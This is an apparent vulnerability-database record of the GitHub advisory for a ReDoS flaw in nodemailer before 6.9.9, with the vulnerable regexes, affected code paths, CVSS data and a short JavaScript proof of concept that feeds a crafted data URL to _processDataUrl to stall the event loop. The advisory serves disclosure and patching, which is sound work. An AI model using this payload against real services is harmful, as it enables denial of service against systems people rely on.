{"id":"GHSA-9h6g-pr28-7cqp","revision":"c39c3f3ee3814dac8f3c02f10c82fca6","records":[{"revision":"c39c3f3ee3814dac8f3c02f10c82fca6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9h6g-pr28-7cqp","aliases":["CVE-2024-58379"],"title":"nodemailer ReDoS when trying to send a specially crafted email","description":"### Summary\nA ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. \nAnother flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. \n\n### Details\n\nRegex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/\n\nPath: compile -> getAttachments -> _processDataUrl\n\nRegex: /(<img\\b[^>]* src\\s*=[\\s\"']*)(data:([^;]+);[^\"'>\\s]+)/\n\nPath: _convertDataImages\n\n### PoC\n\nhttps://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6\nhttps://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698\n\n```js\nasync function exploit() {\n   const MailComposer = require(\\\"nodemailer/lib/mail-composer\\\");\n   const MailComposerObject = new MailComposer();\n\n   // Create a malicious data URL that will cause excessive backtracking\n   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack\n   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';\n\n   // Call the vulnerable method with the crafted input\n   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });\n}\n\nawait exploit();\n```\n\n### Impact\n\nReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.","state":0,"publishedAt":"2024-01-31T22:42:54+00:00","modifiedAt":"2026-09-01T03:55:43.1623073+00:00","affected":[{"ecosystem":"npm","name":"nodemailer","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.9.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp","https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a","https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6","https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698","https://github.com/nodemailer/nodemailer"],"sourceUrl":"https://github.com/advisories/GHSA-9h6g-pr28-7cqp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9h6g-pr28-7cqp","identifiers":["GHSA-9h6g-pr28-7cqp","CVE-2024-58379"]},"retained":false,"historicalAffected":[]}],"coverage":[]}